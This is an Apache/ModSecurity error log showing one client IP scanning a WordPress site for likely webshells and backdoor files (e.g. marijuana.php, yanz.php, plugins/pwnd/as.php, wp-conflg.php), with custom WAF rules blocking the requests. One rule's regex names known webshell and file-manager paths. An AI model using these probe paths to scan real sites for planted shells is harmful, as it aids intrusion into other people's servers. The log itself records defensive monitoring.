[Tue Nov 25 17:22:22.029710 2025] [:error] [pid 28739:tid 28764] [client 172.210.212.26:4008] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSV1ThxGpKmlkG4FexRbpgAAAgI"]
[Tue Nov 25 17:22:23.615392 2025] [:error] [pid 14078:tid 14138] [client 172.210.212.26:3970] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/default.php"] [unique_id "aSV1T9VXYbb0ii_rVoIdJwAAAIE"]
[Tue Nov 25 17:22:26.021238 2025] [:error] [pid 28740:tid 28810] [client 172.210.212.26:5974] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/default.php"] [unique_id "aSV1UlppQCoYxWW6V0VVsAAAAlM"]
[Tue Nov 25 17:22:32.187601 2025] [:error] [pid 14076:tid 14105] [client 172.210.212.26:1808] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/default.php"] [unique_id "aSV1WHsB4Gz6Qw-pvBvzPwAAABg"]
[Tue Nov 25 17:22:33.198709 2025] [:error] [pid 14078:tid 14138] [client 172.210.212.26:4860] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/default.php"] [unique_id "aSV1WdVXYbb0ii_rVoIdNwAAAIE"]
[Tue Nov 25 17:22:35.490900 2025] [:error] [pid 28740:tid 28796] [client 172.210.212.26:4247] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lv.php"] [unique_id "aSV1W1ppQCoYxWW6V0VVvAAAAkU"]
[Tue Nov 25 17:22:42.730691 2025] [:error] [pid 14078:tid 14144] [client 172.210.212.26:4806] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lv.php"] [unique_id "aSV1YtVXYbb0ii_rVoIdPgAAAIc"]
[Tue Nov 25 17:22:51.598384 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:2448] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSV1a1ppQCoYxWW6V0VVygAAAkg"]
[Tue Nov 25 17:22:52.770316 2025] [:error] [pid 28739:tid 28786] [client 172.210.212.26:2873] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSV1bBxGpKmlkG4FexRbwgAAAhg"]
[Tue Nov 25 17:22:56.122026 2025] [:error] [pid 14078:tid 14143] [client 172.210.212.26:7444] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSV1cNVXYbb0ii_rVoIdUAAAAIY"]
[Tue Nov 25 17:23:00.127297 2025] [:error] [pid 14077:tid 14128] [client 172.210.212.26:10825] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSV1dBG9n7UHEkwDTyhU1gAAAFI"]
[Tue Nov 25 17:23:05.659566 2025] [:error] [pid 14168:tid 14181] [client 172.210.212.26:3829] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/marijuana.php"] [unique_id "aSV1efR-ZDU0QEgAIItHugAAAMo"]
[Tue Nov 25 17:23:07.734810 2025] [:error] [pid 28842:tid 28993] [client 172.210.212.26:2436] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/marijuana.php"] [unique_id "aSV1e9NmoaPf6T4-6C1kkgAAA0M"]
[Tue Nov 25 17:23:08.427178 2025] [:error] [pid 28739:tid 28770] [client 172.210.212.26:2968] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/marijuana.php"] [unique_id "aSV1fBxGpKmlkG4FexRbzgAAAgg"]
[Tue Nov 25 17:23:09.322514 2025] [:error] [pid 28842:tid 29026] [client 172.210.212.26:6558] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/marijuana.php"] [unique_id "aSV1fdNmoaPf6T4-6C1kmQAAA1g"]
[Tue Nov 25 17:23:10.689570 2025] [:error] [pid 14077:tid 14113] [client 172.210.212.26:6539] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSV1fhG9n7UHEkwDTyhU2gAAAEM"]
[Tue Nov 25 17:23:21.642313 2025] [:error] [pid 14076:tid 14085] [client 172.210.212.26:7411] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/403.php"] [unique_id "aSV1iXsB4Gz6Qw-pvBvzZAAAAAQ"]
[Tue Nov 25 17:23:23.747287 2025] [:error] [pid 28836:tid 28965] [client 172.210.212.26:1303] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Tue Nov 25 17:23:23.951768 2025] [:error] [pid 28836:tid 29010] [client 172.210.212.26:1303] File does not exist: /usr/local/apache/htdocs/suspended-page/marijuana.php
[Tue Nov 25 17:23:24.375889 2025] [:error] [pid 28836:tid 28959] [client 172.210.212.26:1303] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Tue Nov 25 17:23:24.582531 2025] [:error] [pid 28836:tid 28964] [client 172.210.212.26:1303] File does not exist: /usr/local/apache/htdocs/suspended-page/goat1.php
[Tue Nov 25 17:23:24.863726 2025] [:error] [pid 28836:tid 28956] [client 172.210.212.26:1303] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aSV1jJwNRsoxcLQGkTehAwAAAsE"]
[Tue Nov 25 17:23:27.587642 2025] [:error] [pid 2987:tid 2994] [client 172.210.212.26:4669] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aSV1j8-djEt-pTzPxnx5-gAAAUU"]
[Tue Nov 25 17:23:28.566422 2025] [:error] [pid 14078:tid 14144] [client 172.210.212.26:1930] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aSV1kNVXYbb0ii_rVoIdbAAAAIc"]
[Tue Nov 25 17:23:30.293048 2025] [:error] [pid 28740:tid 28798] [client 172.210.212.26:1609] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aSV1klppQCoYxWW6V0VV_gAAAkc"]
[Tue Nov 25 17:23:34.097189 2025] [:error] [pid 14078:tid 14156] [client 172.210.212.26:5565] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cron.php"] [unique_id "aSV1ltVXYbb0ii_rVoIddQAAAJM"]
[Tue Nov 25 17:23:35.575309 2025] [:error] [pid 28740:tid 28791] [client 172.210.212.26:7085] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cron.php"] [unique_id "aSV1l1ppQCoYxWW6V0VWAQAAAkA"]
[Tue Nov 25 17:23:36.762016 2025] [:error] [pid 14078:tid 14138] [client 172.210.212.26:3195] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cron.php"] [unique_id "aSV1mNVXYbb0ii_rVoIddgAAAIE"]
[Tue Nov 25 17:23:39.571895 2025] [:error] [pid 28740:tid 28792] [client 172.210.212.26:7480] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cron.php"] [unique_id "aSV1m1ppQCoYxWW6V0VWBgAAAkE"]
[Tue Nov 25 17:23:41.751248 2025] [:error] [pid 14077:tid 14129] [client 172.210.212.26:7062] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yanz.php"] [unique_id "aSV1nRG9n7UHEkwDTyhVHwAAAFM"]
[Tue Nov 25 17:23:48.703374 2025] [:error] [pid 28842:tid 29022] [client 172.210.212.26:7075] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yanz.php"] [unique_id "aSV1pNNmoaPf6T4-6C1ktgAAA1Q"]
[Tue Nov 25 17:23:53.416841 2025] [:error] [pid 14077:tid 14132] [client 172.210.212.26:2626] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yanz.php"] [unique_id "aSV1qRG9n7UHEkwDTyhVMgAAAFY"]
[Tue Nov 25 17:24:01.000997 2025] [:error] [pid 14077:tid 14115] [client 172.210.212.26:1592] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aSV1sBG9n7UHEkwDTyhVSAAAAEU"]
[Tue Nov 25 17:24:06.533948 2025] [:error] [pid 14076:tid 14099] [client 172.210.212.26:2611] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aSV1tnsB4Gz6Qw-pvBvzhwAAABI"]
[Tue Nov 25 17:24:08.567746 2025] [:error] [pid 14168:tid 14175] [client 172.210.212.26:6700] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aSV1uPR-ZDU0QEgAIItH-AAAAMQ"]
[Tue Nov 25 17:24:09.682410 2025] [:error] [pid 28842:tid 29004] [client 172.210.212.26:2612] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aSV1udNmoaPf6T4-6C1lGgAAA04"]
[Tue Nov 25 17:24:11.351899 2025] [:error] [pid 2987:tid 2994] [client 172.210.212.26:2622] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "aSV1u8-djEt-pTzPxnx6KwAAAUU"]
[Tue Nov 25 17:24:12.457735 2025] [:error] [pid 28842:tid 28996] [client 172.210.212.26:2609] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "aSV1vNNmoaPf6T4-6C1lIQAAA0Y"]
[Tue Nov 25 17:24:15.620238 2025] [:error] [pid 28739:tid 28770] [client 172.210.212.26:4395] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "aSV1vxxGpKmlkG4FexRcIwAAAgg"]
[Tue Nov 25 17:24:16.466515 2025] [:error] [pid 28740:tid 28794] [client 172.210.212.26:1080] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "aSV1wFppQCoYxWW6V0VWQAAAAkM"]
[Tue Nov 25 17:24:17.501617 2025] [:error] [pid 14168:tid 14190] [client 172.210.212.26:2596] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "aSV1wfR-ZDU0QEgAIItH_gAAANM"]
[Tue Nov 25 17:24:19.566908 2025] [:error] [pid 14168:tid 14180] [client 172.210.212.26:1182] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "aSV1w_R-ZDU0QEgAIItIAwAAAMk"]
[Tue Nov 25 17:24:23.874585 2025] [:error] [pid 2987:tid 3011] [client 172.210.212.26:6705] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "aSV1x8-djEt-pTzPxnx6NgAAAVY"]
[Tue Nov 25 17:24:25.139644 2025] [:error] [pid 28609:tid 28630] [client 172.210.212.26:2667] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php
[Tue Nov 25 17:24:25.487404 2025] [:error] [pid 28609:tid 28618] [client 172.210.212.26:2667] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Tue Nov 25 17:24:25.702670 2025] [:error] [pid 28609:tid 28638] [client 172.210.212.26:2667] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSV1ySGGdT-nZJVs3x2lBwAAAZQ"]
[Tue Nov 25 17:24:30.944082 2025] [:error] [pid 14077:tid 14118] [client 172.210.212.26:10160] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aSV1zhG9n7UHEkwDTyhVbwAAAEg"]
[Tue Nov 25 17:24:31.693471 2025] [:error] [pid 28740:tid 28810] [client 172.210.212.26:3374] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aSV1z1ppQCoYxWW6V0VWXQAAAlM"]
[Tue Nov 25 17:24:32.646200 2025] [:error] [pid 2987:tid 3008] [client 172.210.212.26:6293] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Tue Nov 25 17:24:32.867368 2025] [:error] [pid 2987:tid 2992] [client 172.210.212.26:6293] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php
[Tue Nov 25 17:24:33.312586 2025] [:error] [pid 2987:tid 3010] [client 172.210.212.26:6293] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Tue Nov 25 17:24:33.539514 2025] [:error] [pid 2987:tid 3009] [client 172.210.212.26:6293] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Tue Nov 25 17:24:33.755355 2025] [:error] [pid 2987:tid 2991] [client 172.210.212.26:6293] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Tue Nov 25 17:24:34.237513 2025] [:error] [pid 2987:tid 2990] [client 172.210.212.26:6293] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aSV10s-djEt-pTzPxnx6VQAAAUE"]
[Tue Nov 25 17:24:41.014371 2025] [:error] [pid 28842:tid 29017] [client 172.210.212.26:6816] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aSV12dNmoaPf6T4-6C1lTAAAA1A"]
[Tue Nov 25 17:24:41.895247 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:10170] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aSV12VppQCoYxWW6V0VWdAAAAkg"]
[Tue Nov 25 17:24:43.452640 2025] [:error] [pid 28740:tid 28805] [client 172.210.212.26:8298] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aSV121ppQCoYxWW6V0VWegAAAk4"]
[Tue Nov 25 17:24:44.768181 2025] [:error] [pid 28740:tid 28804] [client 172.210.212.26:8291] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-configs.php"] [unique_id "aSV13FppQCoYxWW6V0VWgQAAAk0"]
[Tue Nov 25 17:24:46.554100 2025] [:error] [pid 28609:tid 28624] [client 172.210.212.26:1858] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-configs.php"] [unique_id "aSV13iGGdT-nZJVs3x2lFQAAAYY"]
[Tue Nov 25 17:24:47.971794 2025] [:error] [pid 14078:tid 14156] [client 172.210.212.26:10133] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-configs.php"] [unique_id "aSV139VXYbb0ii_rVoIeAgAAAJM"]
[Tue Nov 25 17:24:49.318777 2025] [:error] [pid 14078:tid 14146] [client 172.210.212.26:4036] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-configs.php"] [unique_id "aSV14dVXYbb0ii_rVoIeBgAAAIk"]
[Tue Nov 25 17:24:52.255110 2025] [:error] [pid 14078:tid 14159] [client 172.210.212.26:7864] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV15NVXYbb0ii_rVoIeCgAAAJY"]
